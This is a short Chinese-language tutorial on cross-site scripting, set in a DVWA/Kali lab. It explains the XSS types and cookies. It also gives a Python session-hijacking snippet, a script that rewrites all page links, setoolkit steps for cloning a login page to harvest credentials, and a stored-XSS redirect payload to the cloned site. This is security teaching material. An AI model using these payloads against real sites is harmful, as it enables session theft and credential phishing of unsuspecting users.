
*****
## XSS跨站腳本分類
### XSS漏洞介紹
跨站腳本攻擊(Cross Site Scripting),為了不和層疊樣式表(Cascading Style Sheets )的縮寫混淆, 故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往web頁面里插入惡意script代碼,當用戶瀏覽該 頁時,嵌入其中web里面的script代碼會被執行,從而達到惡意攻擊用戶的目的
### cookie介紹
cookie是在HTTP協議下,服務器或腳本可以維護客戶工作站上信息的一種方式。cookie是由 web服務器保存在用戶瀏覽器(客戶端)上的小文本文件,它可以包含有關用戶的信息
<br>由于HTTP是一種無狀態的協議,服務器單從網絡連接上無從知道客戶身份。怎么辦呢?就 給客戶端們頒發一個通行證吧,每人一個,無論誰訪問都必須攜帶自己通行證。這樣服務 器就能從通行證上確認客戶身份了。這就是Cookie的工作原理。
### 反射型XSS
反射型XSS又稱非持久性XSS,這種攻擊往往具有一次性
<br>攻擊者通過郵件等形式將包含XSS代碼的鏈接發送給正常用戶,當用戶點擊時,服務器接受該用 戶的請求并進行處理,然后把帶有XSS的代碼發送給用戶。用戶瀏覽器解析執行代碼,觸發XSS漏洞
### 存儲型XSS
存儲型XSS又稱持久型XSS,攻擊腳本存儲在目標服務器的數據庫中,具有更強的隱蔽性
<br>攻擊者在論壇、博客、留言板中,發帖的過程中嵌入XSS攻擊代碼,帖子被目標服務器存儲在數 據庫中。當用戶進行正常訪問時,觸發XSS代碼
### DOM型XSS
DOM型XSS全稱Document Object Model,使用DOM動態訪問更新文檔的內容、結構及樣式
<br>服務器響應不會處理攻擊者腳本,而是用戶瀏覽器處理這個響應時,DOM對象就會處理XSS代 碼,觸發XSS漏洞
### 通過Python利用cookie會話劫持
```
cookie = "security=low; csrftoken=EIe9fIFCRE4BXu8bqHKRX60hfih1bZAnMFMA8w2DtTygLGXcemxxiAyeAqsJPXhi; PHPSESSID=g2ii9pn9u0sck0shjvcqtfgne0"
cookie = {i.split("=")[0]:i.split("=")[1] for i in cookie.split("; ")}
html = requests.get('http://127.0.0.1/DVWA/index.php',headers=headers).text
```
### 劫持會話后的操作
1.獲取頁面數據
2.劫持前端邏輯
3.發送請求
4.偷取用戶資料
5.偷取用戶密碼和登錄狀態
### XSS竄改網頁鏈接
```
<script>
window.onload = function(){
var link = document.getElementsByTagName("a");
for(j=0;j<link.length;j++){
link[j].href = "http://www.baidu.com";
}
}
</script>
```
### XSS盜取用戶信息原理
克隆網站登錄頁面,利用存儲XSS設置跳轉代碼,如果用戶訪問即跳轉到克隆網站的登錄頁面, 用戶輸入登錄,賬號和密碼被存儲
### setookie工具克隆網站
在kali中輸入 setoolkit
1.社會工程攻擊>1
2.網站攻擊>2
3.憑據收集攻擊>3
4.root網站克隆>2
### 存儲XSS跳轉克隆網站
在DVWA中XSS(Stored)中執行
~~~
<script>
window.location = "http://192.168.154.130/";
</script>
~~~